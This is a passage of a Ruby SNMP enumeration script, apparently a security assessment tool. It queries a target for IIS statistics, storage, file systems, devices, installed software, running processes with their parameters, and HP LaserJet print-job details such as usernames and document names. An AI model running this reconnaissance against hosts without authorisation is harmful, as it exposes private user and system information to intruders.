691 | http_totalBGIRequests = manager.get_value('1.3.6.1.4.1.311.1.7.3.1.21.0') | |
692 | if http_totalBGIRequests.to_s !~ /Null/ | |
693 | iis["BGIRequests"] = http_totalBGIRequests | |
694 | end | |
695 | ||
696 | http_totalNotFoundErrors = manager.get_value('1.3.6.1.4.1.311.1.7.3.1.22.0') | |
697 | if http_totalNotFoundErrors.to_s !~ /Null/ | |
698 | iis["NotFoundErrors"] = http_totalNotFoundErrors | |
699 | end | |
700 | ||
701 | if not iis.empty? | |
702 | output_data["IIS server information"] = iis | |
703 | end | |
704 | end | |
705 | ||
706 | storage_information = [] | |
707 | ||
708 | manager.walk([ | |
709 | "1.3.6.1.2.1.25.2.3.1.1","1.3.6.1.2.1.25.2.3.1.2","1.3.6.1.2.1.25.2.3.1.3", | |
710 | "1.3.6.1.2.1.25.2.3.1.4","1.3.6.1.2.1.25.2.3.1.5","1.3.6.1.2.1.25.2.3.1.6" | |
711 | ]) do |index,type,descr,allocation,size,used| | |
712 | ||
713 | case type.value.to_s | |
714 | when /^1.3.6.1.2.1.25.2.1.1$/ | |
715 | type.value = "Other" | |
716 | when /^1.3.6.1.2.1.25.2.1.2$/ | |
717 | type.value = "Ram" | |
718 | when /^1.3.6.1.2.1.25.2.1.3$/ | |
719 | type.value = "Virtual Memory" | |
720 | when /^1.3.6.1.2.1.25.2.1.4$/ | |
721 | type.value = "Fixed Disk" | |
722 | when /^1.3.6.1.2.1.25.2.1.5$/ | |
723 | type.value = "Removable Disk" | |
724 | when /^1.3.6.1.2.1.25.2.1.6$/ | |
725 | type.value = "Floppy Disk" | |
726 | when /^1.3.6.1.2.1.25.2.1.7$/ | |
727 | type.value = "Compact Disc" | |
728 | when /^1.3.6.1.2.1.25.2.1.8$/ | |
729 | type.value = "RamDisk" | |
730 | when /^1.3.6.1.2.1.25.2.1.9$/ | |
731 | type.value = "Flash Memory" | |
732 | when /^1.3.6.1.2.1.25.2.1.10$/ | |
733 | type.value = "Network Disk" | |
734 | else | |
735 | type.value = "unknown" | |
736 | end | |
737 | ||
738 | allocation.value = "unknown" if allocation.value.to_s =~ /noSuchInstance/ | |
739 | size.value = "unknown" if size.value.to_s =~ /noSuchInstance/ | |
740 | used.value = "unknown" if used.value.to_s =~ /noSuchInstance/ | |
741 | ||
742 | storage_information.push([[descr.value],[index.value],[type.value],[allocation.value],[size.value],[used.value]]) | |
743 | end | |
744 | ||
745 | if not storage_information.empty? | |
746 | storage = [] | |
747 | storage_information.each {|a,b,c,d,e,f| | |
748 | s = {} | |
749 | ||
750 | e = number_to_human_size(e,d) | |
751 | f = number_to_human_size(f,d) | |
752 | ||
753 | s["Description"]= a | |
754 | s["Device id"] = b | |
755 | s["Filesystem type"] = c | |
756 | s["Device unit"] = d | |
757 | s["Memory size"] = e | |
758 | s["Memory used"] = f | |
759 | ||
760 | storage.push(s) | |
761 | } | |
762 | output_data["Storage information"] = storage | |
763 | end | |
764 | ||
765 | file_system = {} | |
766 | ||
767 | hrFSIndex = manager.get_value('1.3.6.1.2.1.25.3.8.1.1.1') | |
768 | if hrFSIndex.to_s !~ /Null/ | |
769 | file_system["Index"] = hrFSIndex | |
770 | end | |
771 | ||
772 | hrFSMountPoint = manager.get_value('1.3.6.1.2.1.25.3.8.1.2.1') | |
773 | if hrFSMountPoint.to_s !~ /Null/ | |
774 | file_system["Mount point"] = hrFSMountPoint | |
775 | end | |
776 | ||
777 | hrFSRemoteMountPoint = manager.get_value('1.3.6.1.2.1.25.3.8.1.3.1') | |
778 | if hrFSRemoteMountPoint.to_s !~ /Null/ and hrFSRemoteMountPoint.to_s !~ /^noSuch/ | |
779 | if hrFSRemoteMountPoint.empty? | |
780 | hrFSRemoteMountPoint = '-' | |
781 | end | |
782 | file_system["Remote mount point"] = hrFSRemoteMountPoint | |
783 | end | |
784 | ||
785 | hrFSType = manager.get_value('1.3.6.1.2.1.25.3.8.1.4.1') | |
786 | ||
787 | case hrFSType.to_s | |
788 | when /^1.3.6.1.2.1.25.3.9.1$/ | |
789 | hrFSType = "Other" | |
790 | when /^1.3.6.1.2.1.25.3.9.2$/ | |
791 | hrFSType = "Unknown" | |
792 | when /^1.3.6.1.2.1.25.3.9.3$/ | |
793 | hrFSType = "BerkeleyFFS" | |
794 | when /^1.3.6.1.2.1.25.3.9.4$/ | |
795 | hrFSType = "Sys5FS" | |
796 | when /^1.3.6.1.2.1.25.3.9.5$/ | |
797 | hrFSType = "Fat" | |
798 | when /^1.3.6.1.2.1.25.3.9.6$/ | |
799 | hrFSType = "HPFS" | |
800 | when /^1.3.6.1.2.1.25.3.9.7$/ | |
801 | hrFSType = "HFS" | |
802 | when /^1.3.6.1.2.1.25.3.9.8$/ | |
803 | hrFSType = "MFS" | |
804 | when /^1.3.6.1.2.1.25.3.9.9$/ | |
805 | hrFSType = "NTFS" | |
806 | when /^1.3.6.1.2.1.25.3.9.10$/ | |
807 | hrFSType = "VNode" | |
808 | when /^1.3.6.1.2.1.25.3.9.11$/ | |
809 | hrFSType = "Journaled" | |
810 | when /^1.3.6.1.2.1.25.3.9.12$/ | |
811 | hrFSType = "iso9660" | |
812 | when /^1.3.6.1.2.1.25.3.9.13$/ | |
813 | hrFSType = "RockRidge" | |
814 | when /^1.3.6.1.2.1.25.3.9.14$/ | |
815 | hrFSType = "NFS" | |
816 | when /^1.3.6.1.2.1.25.3.9.15$/ | |
817 | hrFSType = "Netware" | |
818 | when /^1.3.6.1.2.1.25.3.9.16$/ | |
819 | hrFSType = "AFS" | |
820 | when /^1.3.6.1.2.1.25.3.9.17$/ | |
821 | hrFSType = "DFS" | |
822 | when /^1.3.6.1.2.1.25.3.9.18$/ | |
823 | hrFSType = "Appleshare" | |
824 | when /^1.3.6.1.2.1.25.3.9.19$/ | |
825 | hrFSType = "RFS" | |
826 | when /^1.3.6.1.2.1.25.3.9.20$/ | |
827 | hrFSType = "DGCFS" | |
828 | when /^1.3.6.1.2.1.25.3.9.21$/ | |
829 | hrFSType = "BFS" | |
830 | when /^1.3.6.1.2.1.25.3.9.22$/ | |
831 | hrFSType = "FAT32" | |
832 | when /^1.3.6.1.2.1.25.3.9.23$/ | |
833 | hrFSType = "LinuxExt2" | |
834 | else | |
835 | hrFSType = "Null" | |
836 | end | |
837 | ||
838 | if hrFSType.to_s !~ /Null/ | |
839 | file_system["Type"] = hrFSType | |
840 | end | |
841 | ||
842 | hrFSAccess = manager.get_value('1.3.6.1.2.1.25.3.8.1.5.1') | |
843 | if hrFSAccess.to_s !~ /Null/ | |
844 | file_system["Access"] = hrFSAccess | |
845 | end | |
846 | ||
847 | hrFSBootable = manager.get_value('1.3.6.1.2.1.25.3.8.1.6.1') | |
848 | if hrFSBootable.to_s !~ /Null/ | |
849 | file_system["Bootable"] = hrFSBootable | |
850 | end | |
851 | ||
852 | if not file_system.empty? | |
853 | output_data["File system information"] = file_system | |
854 | end | |
855 | ||
856 | device_information = [] | |
857 | ||
858 | manager.walk([ | |
859 | "1.3.6.1.2.1.25.3.2.1.1","1.3.6.1.2.1.25.3.2.1.2", | |
860 | "1.3.6.1.2.1.25.3.2.1.5","1.3.6.1.2.1.25.3.2.1.3" | |
861 | ]) do |index,type,status,descr| | |
862 | ||
863 | case type.value.to_s | |
864 | when /^1.3.6.1.2.1.25.3.1.1$/ | |
865 | type.value = "Other" | |
866 | when /^1.3.6.1.2.1.25.3.1.2$/ | |
867 | type.value = "Unknown" | |
868 | when /^1.3.6.1.2.1.25.3.1.3$/ | |
869 | type.value = "Processor" | |
870 | when /^1.3.6.1.2.1.25.3.1.4$/ | |
871 | type.value = "Network" | |
872 | when /^1.3.6.1.2.1.25.3.1.5$/ | |
873 | type.value = "Printer" | |
874 | when /^1.3.6.1.2.1.25.3.1.6$/ | |
875 | type.value = "Disk Storage" | |
876 | when /^1.3.6.1.2.1.25.3.1.10$/ | |
877 | type.value = "Video" | |
878 | when /^1.3.6.1.2.1.25.3.1.11$/ | |
879 | type.value = "Audio" | |
880 | when /^1.3.6.1.2.1.25.3.1.12$/ | |
881 | type.value = "Coprocessor" | |
882 | when /^1.3.6.1.2.1.25.3.1.13$/ | |
883 | type.value = "Keyboard" | |
884 | when /^1.3.6.1.2.1.25.3.1.14$/ | |
885 | type.value = "Modem" | |
886 | when /^1.3.6.1.2.1.25.3.1.15$/ | |
887 | type.value = "Parallel Port" | |
888 | when /^1.3.6.1.2.1.25.3.1.16$/ | |
889 | type.value = "Pointing" | |
890 | when /^1.3.6.1.2.1.25.3.1.17$/ | |
891 | type.value = "Serial Port" | |
892 | when /^1.3.6.1.2.1.25.3.1.18$/ | |
893 | type.value = "Tape" | |
894 | when /^1.3.6.1.2.1.25.3.1.19$/ | |
895 | type.value = "Clock" | |
896 | when /^1.3.6.1.2.1.25.3.1.20$/ | |
897 | type.value = "Volatile Memory" | |
898 | when /^1.3.6.1.2.1.25.3.1.21$/ | |
899 | type.value = "Non Volatile Memory" | |
900 | else | |
901 | type.value = "unknown" | |
902 | end | |
903 | ||
904 | case status.value | |
905 | when 1 | |
906 | status.value = "unknown" | |
907 | when 2 | |
908 | status.value = "running" | |
909 | when 3 | |
910 | status.value = "warning" | |
911 | when 4 | |
912 | status.value = "testing" | |
913 | when 5 | |
914 | status.value = "down" | |
915 | else | |
916 | status.value = "unknown" | |
917 | end | |
918 | ||
919 | descr.value = "unknown" if descr.value.to_s =~ /noSuchInstance/ | |
920 | ||
921 | device_information.push([index.value, type.value, status.value, descr.value]) | |
922 | end | |
923 | ||
924 | if not device_information.empty? | |
925 | output_data["Device information"] = [["Id","Type","Status","Descr"]] + device_information | |
926 | end | |
927 | ||
928 | software_list = [] | |
929 | ||
930 | manager.walk(["1.3.6.1.2.1.25.6.3.1.1","1.3.6.1.2.1.25.6.3.1.2"]) do |index,name| | |
931 | software_list.push([index.value,name.value]) | |
932 | end | |
933 | ||
934 | if not software_list.empty? | |
935 | output_data["Software components"] = [["Index","Name"]] + software_list | |
936 | end | |
937 | ||
938 | process_interfaces = [] | |
939 | ||
940 | manager.walk([ | |
941 | "1.3.6.1.2.1.25.4.2.1.1","1.3.6.1.2.1.25.4.2.1.2","1.3.6.1.2.1.25.4.2.1.4", | |
942 | "1.3.6.1.2.1.25.4.2.1.5","1.3.6.1.2.1.25.4.2.1.7" | |
943 | ]) do |id,name,path,param,status| | |
944 | ||
945 | if status.value == 1 | |
946 | status.value = "running" | |
947 | elsif status.value == 2 | |
948 | status.value = "runnable" | |
949 | else | |
950 | status.value = "unknown" | |
951 | end | |
952 | ||
953 | process_interfaces.push([id.value, status.value, name.value, path.value, param.value]) | |
954 | end | |
955 | ||
956 | if not process_interfaces.empty? | |
957 | output_data["Processes"] = [["Id","Status","Name","Path","Parameters"]] + process_interfaces | |
958 | end | |
959 | ||
960 | hp_laserjet_printer_enumeration = [] | |
961 | ||
962 | manager.walk([ | |
963 | "1.3.6.1.4.1.11.2.3.9.4.2.1.1.6.5.1", # job-info-name1 - document name1 | |
964 | "1.3.6.1.4.1.11.2.3.9.4.2.1.1.6.5.2", # job-info-name2 - document name2 | |
965 | "1.3.6.1.4.1.11.2.3.9.4.2.1.1.6.5.23.1", # job-info-attr-1 - username | |
966 | "1.3.6.1.4.1.11.2.3.9.4.2.1.1.6.5.23.2", # job-info-attr-2 - machine name | |
967 | "1.3.6.1.4.1.11.2.3.9.4.2.1.1.6.5.23.3", # job-info-attr-3 - domain (?) | |
968 | "1.3.6.1.4.1.11.2.3.9.4.2.1.1.6.5.23.4", # job-info-attr-4 - timestamp | |
969 | "1.3.6.1.4.1.11.2.3.9.4.2.1.1.6.5.23.6", # job-info-attr-6 - application name | |
970 | "1.3.6.1.4.1.11.2.3.9.4.2.1.1.6.5.23.7", # job-info-attr-7 - application command | |
971 | ]) do |name1,name2,username,client,domain,timestamp,app_name,app_command| | |
972 | ||
973 | filename = name1.value.to_s + name2.value.to_s | |
974 | ||
975 | if (username.value.to_s !~ /noSuchInstance/) | |
976 | if username.value.to_s =~ /^JobAcct(\d+)=(.*)/ | |
977 | username = $2 | |
978 | else | |
979 | username = '-' | |
980 | end | |
981 | else | |
982 | username = '-' | |
983 | end | |
984 | ||
985 | if (client.value.to_s !~ /noSuchInstance/) | |
986 | if client.value.to_s =~ /^JobAcct(\d+)=(.*)/ | |
987 | client = $2 | |
988 | else | |
989 | client = '-' | |
990 | end | |
991 | else | |
992 | client = '-' | |
993 | end | |
994 | ||
995 | if (domain.value.to_s !~ /noSuchInstance/) | |
996 | if domain.value.to_s =~ /^JobAcct(\d+)=(.*)/ | |
997 | domain = $2 | |
998 | domain = '-' if domain.empty? | |
999 | else | |
1000 | domain = '-' | |
1001 | end | |
1002 | else | |
1003 | domain = '-' | |
1004 | end | |
1005 | ||
1006 | if timestamp.value.to_s !~ /noSuchInstance/ | |
1007 | if timestamp.value.to_s =~ /^JobAcct(\d+)=(.*)/ | |
1008 | timestamp = $2 | |
1009 | else | |
1010 | timestamp = '-' | |
1011 | end | |
1012 | else | |
1013 | timestamp = nil | |
1014 | end | |
1015 | ||
1016 | if (app_name.value.to_s !~ /noSuchInstance/) | |
1017 | if app_name.value.to_s =~ /^JobAcct(\d+)=(.*)/ | |
1018 | app_name = $2 | |
1019 | end | |
1020 | else | |
1021 | app_name = '-' | |
1022 | end | |
1023 | ||
1024 | if (app_command.value.to_s !~ /noSuchInstance/) | |
1025 | if app_command.value.to_s =~ /^JobAcct(\d+)=(.*)/ | |
1026 | app_command = $2 | |
1027 | end | |
1028 | else | |
1029 | app_command = '-' | |
1030 | end | |
1031 | ||
1032 | if not timestamp.nil? | |
1033 | hp_laserjet_printer_enumeration.push({ | |
1034 | "Filename" => filename + "#{filename.length}", | |
1035 | "Username" => username, | |
1036 | "Client" => client, | |
1037 | "Timestamp" => timestamp, | |
1038 | "Domain" => domain, | |
1039 | "Application name" => app_name, | |
1040 | "Application command" => app_command | |
1041 | }) | |
1042 | end | |
1043 | end | |
1044 | ||
1045 | if not hp_laserjet_printer_enumeration.empty? | |
1046 | output_data["HP LaserJet printer enumeration"] = hp_laserjet_printer_enumeration | |
1047 | end | |
1048 | ||
1049 | print_things("System information:","result") | |
1050 | puts | |
1051 | ||
1052 | line = "" | |
1053 | width = 30 # name field width | |
1054 | twidth = 32 # table like display cell width | |
1055 | ||
1056 | fields_order.each {|k| | |
1057 | if not output_data.has_key?(k) | |
1058 | next | |
1059 | end | |
1060 | ||
1061 | v = output_data[k] | |
1062 | ||
1063 | case v | |
1064 | when Array | |
1065 | content = "" | |
1066 | ||
1067 | v.each{ |a| | |
1068 | case a | |
1069 | when Hash | |
1070 | a.each{ |sk, sv| | |
1071 | sk = truncate_to_twidth(sk, twidth) | |
1072 | content << sprintf(" %s%s: %s\n", sk, " "*([0,width-sk.length].max), sv) | |
1073 | } | |
1074 | content << "\n" | |
1075 | when Array | |
1076 | a.each { |sv| | |
1077 | sv = sv.to_s.strip | |
1078 | content << sprintf(" %-20s", sv) | |
1079 | } | |
1080 | content << "\n" | |
1081 | else | |
1082 | content << sprintf(" %s\n", a) | |
1083 | content << "\n" | |
1084 | end | |
1085 | } | |
1086 | ||
1087 | line << "\n[*] #{k}:\n\n#{content}" | |
1088 | ||
1089 | when Hash | |
1090 | content = "" | |
1091 | v.each{ |sk, sv| | |
1092 | sk = truncate_to_twidth(sk,twidth) | |
1093 | content << sprintf(" %s%s: %s\n", sk, " "*([0,width-sk.length].max), sv) | |
1094 | } | |
1095 | ||
1096 | line << "\n[*] #{k}:\n\n#{content}" | |
1097 | content << "\n" | |
1098 | else | |
1099 | if (v.nil? or v.empty? or v =~ /Null/) | |
1100 | v = '-' | |
1101 | end | |
1102 | ||
1103 | k = truncate_to_twidth(k,twidth) | |
1104 | line << sprintf(" %s%s: %s\n", k, " "*([0,width-k.length].max), v) | |
1105 | end | |
1106 | } | |
1107 | ||
1108 | puts(line) | |
1109 | ||
1110 | end | |
1111 | ||
1112 | puts | |
1113 | ||
1114 | rescue SNMP::RequestTimeout | |
1115 | print_things("#{target}:#{port} SNMP request timeout","error") | |
1116 | rescue SNMP::ConnectionError | |
1117 | print_things("#{target}:#{port} Connection refused","error") | |
1118 | rescue SNMP::InvalidIpAddress | |
1119 | print_things("#{target}:#{port} Invalid IP Address. Check it with 'snmpwalk tool'","error") | |
1120 | rescue SNMP::UnsupportedVersion | |
1121 | print_things("#{target}:#{port} Unsupported SNMP version specified. Select from '1' or '2c'","error") | |
1122 | rescue ::Interrupt | |
1123 | raise $! | |
1124 | rescue ::Exception => e | |
1125 | print_things("Unknown error: #{e.class} #{e}","error") | |
1126 | print_things("Call stack:\n#{e.backtrace.join "\n"}","error") | |
1127 | end |